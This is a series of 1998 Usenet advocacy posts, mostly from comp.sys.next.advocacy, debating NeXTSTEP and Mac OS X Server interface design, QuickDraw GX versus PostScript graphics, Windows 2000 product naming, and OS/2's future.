From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Mon, 30 Nov 1998 21:41:54 GMT
Message-ID: <3667fb5a.4334413@news.demon.co.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov> <3655AC70.28E80D6E@home.today> <w0byaozcw9q.fsf@mah21awu.YP.sparcm1> <365DB81E.1EA2D9C3@stud.umist.ac.uk>
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On Thu, 26 Nov 1998 20:20:46 +0000, Edward Thomas
<mcai7et2@stud.umist.ac.uk> wrote:
<snip>
>Dum Dee Dum Cray/SGI T3E-1200E
> 576 Processors
> 700 Gflop/s peak performance
> _148_G_B_ Ram
> 2Tb Disk Storage
> 125Tb Tape Backup
>
>See: http://www.csar.cfs.ac.uk/
>Its the 7th most powerful computer in the world
>(http://www.top500.org/top500.list.html)
>
>(Ok, so its not strictly speaking mine, but I can ask to use it ;)
>
>So do I win yet?
>
>(PS. Still runs Win2000 beta like a pig ;)
What's your frames per second in Quake2?
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: Mon, 30 Nov 1998 13:01:19 -0800
Organization: Cygnus Solutions
Message-ID: <3663079F.A57B8697@cygnus.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com> <73lqai$kps$1@nnrp1.dejanews.com> <73m6rb$ftm$1@sun27.hrz.tu-darmstadt.de> <73ob3g$k06$1@nnrp1.dejanews.com>
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raxelbrof@my-dejanews.com wrote:
>
> With the huge number of secret interface tweaks in MacOS 8.5 that can only be
> accessed with Applescript, and the obvious NeXT influence that is occurring
> in the appearence of finder ie double scroll arrows and docked running app
> tiles it wouldn't surprise me if they sneak that functionality in and are
> deliberately introducing features that way.
>
What exactly is wrong with that?
I mean, if the default behavior is that you have a menu bar, etc.. why
do you care if I can get rid of it on my Mac? The default user
interface is still the one you know and love, yet I can also make the
user interface into something that I want.
Configurability is a good thing. Authortarianism is not.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Proof that NeXTSTEP really was 10 years ahead of it's time :-)
Date: Mon, 30 Nov 1998 16:56:54 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36633ECA.63A94B26@ncal.verio.com>
Mime-Version: 1.0
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Well, now I've got proof that NeXTSTEP really was 10 years ahead of it's
time :-)
A few days ago one of my associates and I were discussing a fiddling bit
of window system implementation in a new project. A moment of deja vu
struck, and we looked at each other for a second. I said, "Um. Weren't
we doing this about 10 years ago?" He nodded, and said something about
knowledge never really being obsolete.
Sometimes it seems that my big accomplishment over the past 10 years is
moving my office from Palo Alto, to Redwood City, to Cupertino.
Good grief...
Mike Paquette
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Mon, 30 Nov 1998 13:46:26 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <3663122F.67DF2519@ncal.verio.com>
References: <F33vFF.351@T-FCN.Net> <B284E036-22277@206.165.43.131>
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Lawson English wrote:
>
> I must be an incredibly powerful personality...
>
You just keep believing that. The cart with your medication will be
coming by shortly.
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Mon, 30 Nov 1998 17:01:06 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36633FC6.2DD6EB67@ncal.verio.com>
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28486B7-146CC@206.165.43.169>
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Lawson English wrote:
> GX has a wider range of color capabilities overall than eQD/DPS,
The new graphics stuff uses ColorSync, which is quite capable, and well
accepted in the marketplace.
> as well as
> a more robust (true 3D perspective, sorry guys) transform matrix.
That would be a 4 by 3 or larger transformation matrix. GX used a 3x3
last time I looked, which is rather limiting. For example, stroke width
won't scale from the 'front' to the 'back' of a 'tilted' plane. One
cannot change camera position, or obtain Z values for use in computing
Z-related effects such as atmosphere shaders. It's really hard to
change camera position or the frustrum angle.
> Any
> word-processor or drawing app that uses GX can *directly* turn itself into
> a QT vectors image with no limitations or loss of fidelity.
IF and only IF the developer calls all the right APIs...
> Add print
> capabilities to QT and you have internet faxing that blows Adobe's PDF
> format out of the water (as I said years ago).
And would interoperate with how many FAX machines? If you are going to
fax bitmaps so as to interoperate with any FAX in the world, those
bitmaps could come from any rasterizer. If you want to fax vector data
around (a nice idea in theory), you'll need to get some manufacturers to
buy in. Remember Adobe's try at PostScript FAX? Nice idea, with no
support. *BOMB*
> So why would anyone NOT want to use the more powerful graphics system?
>
> Answer:
>
> Adobe says so. More specifically: Adobe's less sophisticated format is a
> standard, so we gotta go with the standard.
*SNORT* What's this crap? The Cigarette Smoking Man work for Adobe
these days? Adobe has lost control of the standards. More non-Adobe
PostScript compatible RIPs are shipping than 'Genuine Adobe Inside'
PostScript in commercial printers. A standards committee is already
grinding away on PDF. Another standards group is working on an Internet
Vector Graphics standard as an XGML extension. (Guess who's
well-represented and quite active there.)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 1 Dec 1998 01:38:07 GMT
Organization: AOL http://www.aol.com
References: <73v71f$1k8$2@tallowcross.uni-frankfurt.de>
Message-ID: <19981130203807.00836.00000579@ng-cg1.aol.com>
Maury, I use a Mac (running 8.1) at work and loathe every minute of it.
I despise it when I leave my machine for a while, return and don't know because
there's no visual indication that Illustrator 7 has been started in my absence.
I hate having to navigate through the Mac's pathetic open/save dialog boxes to
get at a file which is visible (either as an icon or a window) on my screen.
It is ridiculous the amount of mousing which is wasted in going to the upper
right hand corner to switch or hide applications.
Ejecting a disk by dragging it into the trash is ludicrous and
inconsistent--"but everything else I put in the Trash is deleted?!?"
Maury, I don't beleive you understand the semantics of dropping an app tile or
icon from the browser shelf onto the desktop--this makes it dissappear from
that location, but does _not_ delete it from the file system, this last is
reserved for dragging a file into the Recycler.
Maury said:
<
That said however, the ability to drop into "nowhere" is only one way to
look at how this works. I prefer to look at it as "drag it out of the
dock". If you look at it that way, you can still use this action to remove
tiles even with the droppable desktop.
>
I don't understand this statement at all--I'm assuming that it alludes to some
aspect of a developer's release which has not yet become public.
The Dock at least is a desktop which is controllable and usable when
applications are still on-screen and useful. The Mac's desktop forces one into
a mode of task-switching--let's see, want to work with something else, let's
_go _ALL_ the way up to the _RIGHT HAND CORNER_ and switch to the Finder and
then choose _hide others_ then do what needs to be done, then reverse the steps
to get back where I was.
Please don't tell me about <ALT/Option> clicking the desktop--it's normally not
visible on my machine. It's also ungainly to have to always go up to the
Windows menu to get at a particular open file--Windowshading just doesn't cut
it.
At least with the Dock, when I want all of the screen, I can get it (either by
dragging it out of the way or <ALT> clicking it to the background), but more
typically, when I want to keep an eye on how pStill.app is converting .pdfs,
and to be able to easily switch between programs, it's there.
Screens are getting bigger, NeXTstep takes advantage of this, the Mac OS has
never grown out of its crippling when it was created by gutting the Lisa's
document-centric nature.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Message-ID: <SPAMLESSforrest-3011981751390001@term6-8.vta.west.net>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com> <73lqai$kps$1@nnrp1.dejanews.com> <73m6rb$ftm$1@sun27.hrz.tu-darmstadt.de> <73ob3g$k06$1@nnrp1.dejanews.com> <3663079F.A57B8697@cygnus.com>
Organization: Obsidian
Date: Mon, 30 Nov 1998 17:51:37 -0800
NNTP-Posting-Date: Mon, 30 Nov 1998 17:50:59 PDT
In article <3663079F.A57B8697@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
>raxelbrof@my-dejanews.com wrote:
>> With the huge number of secret interface tweaks in MacOS 8.5 that can only be
>> accessed with Applescript, and the obvious NeXT influence that is occurring
[snip]
>What exactly is wrong with that?
[snip]
Did he SAY there was something wrong with that? Granted, I didn't see the
original article, but from the part you quoted, it sounded like praise to
me. I certainly think it's a good thing, even if I don't use most of the
features (some of them clutter my screen too much, like the dock, or even
the default App Switcher [I just use the app menu], but some, like the
double scroll arrows [on BOTH ends, the default one-on-both or both-on-one
options bite], I really love). I hope to see things like the "Tray" which
MacNN's Reality showed off way back when; ever since I saw that, it has
seemed most logical that all devices which could be interacted with as a
directory should appear there; drives have their root dir(s) there,
printers have their queue displyed as a directory there, scanners have a
single file (or multiple files, for different scanning options) in a
directory which, when copied to a disk somewhere, scans an image in and
puts it in that file. Digtal cameras could have a QT movie in a
'directory' there, and when you open the movie the camera starts recording
into that file. Simple, consistant behavious between devices. And while
I'm ranting here, I also like the idea of being able to set any window to
be your desktop; that way, you could simply have a ~/Desktop directory
which would behave like the normal Mac desktop (except files from other
volumes would be copied into the ~/Desktop directory, instead of simply
moved onto "the desktop", even though they're still on the disk you just
dragged them from - I've seen a good deal of people get confused by that,
especially one David Field from comp.sys.mac.advocacy, who moved some
important file to the desktop and then erased the disk it was on, not
knowing that the file on the desktop was still stored in that disk). Or,
if you don't want to have some directory in the background in which you
can organize your stuff and then put it back where it should be (which is
what I use the desktop for), you could set an image in PictureViewer or
some such to be the desktop. Or a stock ticker window. Or whatever (the
example Reality had was a PointCast channel). I would probably put the
root window of my hard disk there (since I'm not on a network, so I don't
have to worry about anyone having root access). Or, if I were on a
network, my main user directory. What say you all? Good idea? Now if only
Apple still had an OS suggestion box.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 30 Nov 1998 21:09:42 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us5af18txy1.fsf@kit.ai.mit.edu>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com> <365F8F48.866F3FEB@nstar.net> <73pg4t$49l@news1.panix.com> <F38zwM.3K0@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) writes:
> In <73pg4t$49l@news1.panix.com> Sal Denaro wrote:
> > You might want to check out "Objective Everything", it provided YB
> > interfaces for Perl, Python and WebScript.
>
> This is interesting, as is Joy. However neither of them struck me as
> being completely "ready" just yet. Certainly though, Joy is usable and
> works pretty well with IB, which is where I think development should take
> place anyway!
I'd have to disagree. Objective-Everything is currently my favorite
development tool on the planet. I've had a few difficulties which I
think may be due to inadequate docs (or maybe just my usual dimness),
but the code itself seems to be rock-solid.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 30 Nov 1998 20:27:34 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <73vk6o$e02@newsops.execpc.com>
References: <7329lg$ot0$1@nnrp02.primenet.com>
Stephen Edwards (ja207030@primenet.com) wrote:
: [cross-posted, because I simply cannot believe what I am seeing, and I
: want to make sure I'm not just insane, or something]
: <RANT mode=wide-eyed stateofmind=rabid>
: First of all, Microsoft claimed that the products
: Windows95
: Windows98
: WindowsNT Workstation
: WindowsNT Server
: were too confusing for the average user to discriminate from. So using
: the names
: Windows2000 Professional
: Windows2000 Server
: Windows2000 Advanced Server
: Windows2000 Datacenter Server
: is supposed to make things any easier?... If anything, they are even
: MORE confusing!
No kidding. Are we supposed to surmise from the above that the server
versions are "unprofessional", since they don't have the "professional"
moniker, and the other version does? What tripe?
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: WO4 Announcement: Answer to Mac OS X Server timing
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 1 Dec 1998 02:28:02 GMT
Organization: University of Maryland, College Park
Message-ID: <73vk7i$h85$1@hecate.umd.edu>
References: <73ukit$ops@crab.afs.com>
Greg Anderson (greg@afs.com) wrote:
: Although today's announcement declares WO4 to be shipping for Unix platforms
: (presumably HP-UX and Solaris for *deployment*, not development), later it
: concedes:
: "WebObjects 4 for Power PC G3 systems is planned to support
: Mac OS X Server in 1999."
Mac OS X SERVER?
This is something new to me. OS X SERVER will run on PPC's?
: Notice that Apple will not commit even to which *month* in 1999. So if any
: of you were still hoping for a Christmas present, Think Different.
: Greg
: PS: I think today is the day Mmalc officially loses his bet. I'm willing to
: pass the hat for you, buddy.
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 01 Dec 1998 02:39:18 GMT
Organization: Airnews.net! at Internet America
Message-ID: <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Mon Nov 30 20:29:23 1998
Mime-Version: 1.0
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On Sat, 28 Nov 1998 13:58:25 -0700, esther@bitranch.com wrote:
> Emory Dendy <edendy@csi.com> said:
>|I have used machines with OS/2 and I like the OS,
>|but can you honestly
>|tell me that it has much of a future. It appears IBM would rather
>|support WindowsNT than their
>|own operating systems. If I am wrong, please tell me.
>
>It depends who you ask, both inside and outside IBM.
>
>Overall... yes, IBM treats OS/2 like tits on a boar. Much of the top
>management wishes that the users would just go away... or, in their
>parlance, "transition to network computing" (or transition to almost
>*anything* else) so that they could claim the market didn't want OS/2 and
>shut up shop gracefully. If you look at the OS/2 marketplace from that
>perspective, it'd be really easy to give up hope and delete the OS from
>your hard disk.
>
>To their credit, many people inside IBM truly care about the operating
>system and do their very *very* best to support it, for users of all types
>and sizes. Few of them are in any positions of power, alas, so the
>victories are often small and subversive... but every one of them is to be
>cheered!
>
>Fortunately, IBM's view isn't the only one out there.
>
>With OS/2, it's the *users* who have taken matters into their own hands.
>With efforts like Warpstock (http://www.warpstock.org) and user groups
>like the international Phoenix OS/2 Society (http://www.possi.org) users
>have banded together to support one another, to help each other get the
>most out of the operating system. You'll find OS/2 users nearly
>everywhere, from tiny ma'n'pa businesses to big corporations to home
>machines -- and they provide the assistance to one another that IBM
>reneged on. OS/2 users invest a remarkable amount of effort in helping one
>another to choose the best hardware, or to advise each other on "which
>graphics app is best?" or simply to provide a kind of warm personal regard
>for each other.
As the lowly end users, I'm interested in how difficult it would be
make OS/2's WorkPlace Shell open source then port it to Linux. It
seems as though IBM is much more likely to give away the OS/2 "family
jewels" than Apple is for OSX.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: cancel <73vk7i$h85$1@hecate.umd.edu>
Control: cancel <73vk7i$h85$1@hecate.umd.edu>
Date: 1 Dec 1998 02:28:51 GMT
Organization: University of Maryland, College Park
Message-ID: <73vk93$h85$2@hecate.umd.edu>
Article cancelled from within tin [v1.2 PL2]
From: Frederic Foucault <ff48@columbia.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Mon, 30 Nov 1998 21:34:48 -0500
Organization: Columbia University
Message-ID: <366355C1.22BD5073@columbia.edu>
References: <36623228.DE3E6D7E@Sun.COM> <19981130122459.26905.00000111@ng53.aol.com>
Mime-Version: 1.0
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I'm really impressed by gnustep, windowmaker. etc …Great UI, Great Expectations
also. I hope there will be more and more developpers (ex-NeXT developpers ?) who
WILL release their work for gnustep. Is it reasonnable ?
sincerely,
-ff
WillAdams wrote:
> There was one other thing which I forgot--animated application icons.
> Apparently these are not a part of Apple's app specification (where would they
> be displayed after all?), but they've been added back in as a third-party
> extension. (brief mention of this at www.stepwise.com in their file archives).
>
> I find application icons when well done informative and useful, and rather wish
> that the idea would be extended further (maybe having a tiny thumbnail of the
> current document display? Or, how about in Virtuoso.app (for example) having
> the color of the paintbrush the guy holds changing with the active color?
>
> For those who aren't familiar with GNUstep, it's coming up on half-way done for
> the libfoundation (I think I got that right), with other things progressing
> very well:
> www.gnustep.org
> www.windowmaker.org
> www.postilion.org
>
> William
>
> William Adams
> http://members.aol.com/willadams
> Sphinx of black quartz, judge my vow.
Message-ID: <3663579A.4388D337@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28486B7-146CC@206.165.43.169> <36633FC6.2DD6EB67@ncal.verio.com>
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: Mon, 30 Nov 1998 21:39:37 EDT
Date: Mon, 30 Nov 1998 18:42:34 -0800
Mike Paquette wrote:
* Lawson English wrote:
* * GX has . . . whacka whacka whacka whacka . . . ,
* * as well as a more robust (true 3D perspective, sorry
* * guys) transform matrix.
* That would be a 4 by 3 or larger transformation matrix. GX
* used a 3x3 last time I looked, which is rather limiting. For
* example, stroke width won't scale from the 'front' to the
* 'back' of a 'tilted' plane. One cannot change camera position,
* or obtain Z values for use in computing Z-related effects such
* as atmosphere shaders. It's really hard to change camera
* position or the frustrum angle.
Right --- been around this treadmill so many times . . .
Tried to describe 'true' 3D transforms in a three-by-three matrix.
The scale, rotate, and translate components ended up occupying
the same place(s) in the matrix, and there was nowhere to specify
the components for three-D perspective. Obvious I'm no graphics
or math whiz . . .
Course, where the paper tiger of QuickDraw GX is concerned, I'm
like the Red Queen [shouldn't say things like that in the San
Francisco area, I know] in Alice --- ready to believe seven
impossible things before breakfast . . .
* * Adobe says so. More specifically: Adobe's less
* * sophisticated format is a standard, so we gotta go
* * with the standard.
* *SNORT* What's this crap? The Cigarette Smoking Man work for
* Adobe these days? Adobe has lost control of the standards.
* More non-Adobe PostScript compatible RIPs are shipping than
* 'Genuine Adobe Inside' PostScript in commercial printers. A
* standards committee is already grinding away on PDF.
* Another standards group is working on an Internet Vector
* Graphics standard as an XGML extension. (Guess who's
* well-represented and quite active there.)
Um, what's the state of PGML these days? I was interested in it
for all of about three weeks, until Micro$oft and cronies decided
to muddy the waters with VML, another competing 'standard' that
is a typical Redmond pile of complicated detail and no architecture.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 30 Nov 1998 22:42:55 GMT
Organization: NEXTTOYOU
Message-ID: <73v71f$1k8$2@tallowcross.uni-frankfurt.de>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net>
NNTP-Posting-Date: 30 Nov 1998 22:42:55 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> To me this is a terrible interface anyway though. Seems to me that
> removing a tile should be done by dropping it in the trash - like anything
> else.
No. You *can* drop something lying on the shelf, but then it's deleted just
like everything else - very consistent. So you need a different action when
you just want the representation of something (that's what it is!, kind of a
bookmark) to disappear from the shelf.
> But at the same time the reverse is happening too. For me the dock was
> nothing but a terribly limited version of a useable desktop. Heck, you
> couldn't even put documents in it.
Then you looked at it the wrong way. NEXTSTEP's desktop is the *shelf*, not
the dock. The shelf is really just like the desktop, with the one, IMHO huge,
advantage, that it's in a window, so you can bring it in front at any time
*without* making the other windows disappear (I never found the Mac's desktop
to be of any use for me, because it was always behind a lot of open windows).
Why would you oppose a "desktop in a window"? In a true multitasking system,
it's the way to go.
The dock is the "menu of running apps", just open by preference (to "close"
it, draw the NeXT cub downwards).
> > All I want is clean bevels, sharp corners
>
> I hope this is a theme issue, because I always found the look too
> clinical.
Agreed. These things are purely personal tastes.
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
_____________________________________________________________________
Date: Mon, 30 Nov 1998 19:05:02 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: WO4 Announcement: Answer to Mac OS X Server timing
Message-ID: <stevehix-3011981905030001@192.168.1.10>
References: <73ukit$ops@crab.afs.com> <73vk7i$h85$1@hecate.umd.edu>
Organization: Close to None
In article <73vk7i$h85$1@hecate.umd.edu>,
davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T.
Wang) wrote:
> Greg Anderson (greg@afs.com) wrote:
> : Although today's announcement declares WO4 to be shipping for Unix platforms
> : (presumably HP-UX and Solaris for *deployment*, not development), later it
> : concedes:
>
> : "WebObjects 4 for Power PC G3 systems is planned to support
> : Mac OS X Server in 1999."
>
> Mac OS X SERVER?
>
> This is something new to me. OS X SERVER will run on PPC's?
It had better...it's just Rhapsody in a new suit.
(Supposed to be an Intel variant, too.)
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: WO4 Announcement: Answer to Mac OS X Server timing
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 1 Dec 1998 03:58:22 GMT
Organization: University of Maryland, College Park
Message-ID: <73vpgu$ngs$1@hecate.umd.edu>
References: <73ukit$ops@crab.afs.com> <73vk7i$h85$1@hecate.umd.edu> <stevehix-3011981905030001@192.168.1.10>
Steve Hix (stevehix@safemail.com) wrote:
: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T.
: Wang) wrote:
: > Greg Anderson (greg@afs.com) wrote:
: > : Although today's announcement declares WO4 to be shipping for Unix platforms
: > : (presumably HP-UX and Solaris for *deployment*, not development), later it
: > : concedes:
: >
: > : "WebObjects 4 for Power PC G3 systems is planned to support
: > : Mac OS X Server in 1999."
: >
: > Mac OS X SERVER?
: >
: > This is something new to me. OS X SERVER will run on PPC's?
: It had better...it's just Rhapsody in a new suit.
: (Supposed to be an Intel variant, too.)
Must be leftover saki in my systems, I was thinking about MacOS (non-server)
running on Intel systems, and somehow in my foggy state I got completely
turned around with MacOS X Server on PPC.
: --
: Do not argue with the forces of nature,
: for you are small, insignificant,
: and biodegradable.
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
Subject: Re: Do I have this right?
Newsgroups: comp.sys.next.advocacy
References: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net> <iv_72.1710$CY1.7257627@news.itd.umich.edu> <e0182.16499$aF1.18446@typhoon-sf.snfc21.pbi.net> <dQi82.1765$CY1.7689566@news.itd.umich.edu>
In-Reply-To: <dQi82.1765$CY1.7689566@news.itd.umich.edu>
From: steve@ix.pacbell.net (Steve Dekorte)
Message-ID: <JTJ82.22581$aF1.38913@typhoon-sf.snfc21.pbi.net>
Date: Tue, 01 Dec 1998 04:02:49 GMT
NNTP-Posting-Date: Mon, 30 Nov 1998 20:02:49 PDT
Organization: SBC Internet Services
On 11/29/98, "Jin Kim" wrote:
>>IMO, dynamic languages are the future. Objective-C and Java support
>>some similiar and some different dynamic features. Neither is anywhere
>>near as dynamic as languages like Smalltalk, Self, NetwonScript,
>>Python or Lua. And both Objective-C and Java are stuck in the age of
>>the slow edit/compile cycle which makes them inappropriate for
>>companies operating on "internet time".
>
>Hmm, if you mean interpreted laguage = dynamic, I don't agree.
I don't. None of the languages I mentioned are interpreted.
>In reality, especially for large
>systems, length of development time isn't based much on time it takes to
>compile.
I'd say dealing with change is the biggest hit on development time.
Compiles and inflexible programming paradigms(like strong, class based typing)
make change difficult to deal with.
>I think relatively quick adoption of Java is a good example of little
>concern on compilation time length.
Most software projects fail.
Perphaps this would not be so if concern were more appropriately placed.
>But Java made it's inroads by offering a cross platform solution rather than
>offering less compilation time.
Smalltalk was cross platform long before Java, and probably remains
a better cross platform solution today. If you want to find an explaination
for Java's popularity, you'll have to look elsewhere.
Steve
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Mon, 30 Nov 1998 12:02:39 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3662DDBF.646481CC@ericsson.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com> <365F8F48.866F3FEB@nstar.net> <slrn7633j1.lcl.mark@ns1.oaai.com>
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Mark Onyschuk wrote:
> I don't know, maybe it's just me but I'd probably appreciate more that
> you'd actually eliminate the condescension in the rest of your post, rather
> than bury a retraction here towards the end of your reply.
Undoubtedly. Timing is everything. Seeing as how
> >> No it's not a failure. But it sure is a compromise and perhaps this is the
> >> way that it has to be in order that it is sucessful.
didn't occur until the end of the post...draw your own conclusions.
Weary condescension re-inserted; maybe it would have been different if
you'd answered my posting instead of throwing my apology back in my
face. One good turn deserves another.
Generous regards,
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 1 Dec 1998 06:22:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7401vp$5s8@news1.panix.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net> <73uedp$baa$1@nnrp1.dejanews.com> <73uqab$m48$1@nnrp1.dejanews.com>
On Mon, 30 Nov 1998 19:06:00 GMT,
spagiola@my-dejanews.com <spagiola@my-dejanews.com> wrote:
>Not sure I agree with you here. The original assertion was that QT was
>successful because it did something that both users and developers perceived
>to be useful. Right now, it's not at all clear to me that the majority of
>users have much of a sense of why or in what way OSX will be useful for them.
Yes they do. It will run the Mac Apps that they already use in an environment
that gives them those "modern" (circa 1970's) OS features like PMT, PM and real
memory management.
What isn't clear is what YB will do for them, or why they should use OSX Server,
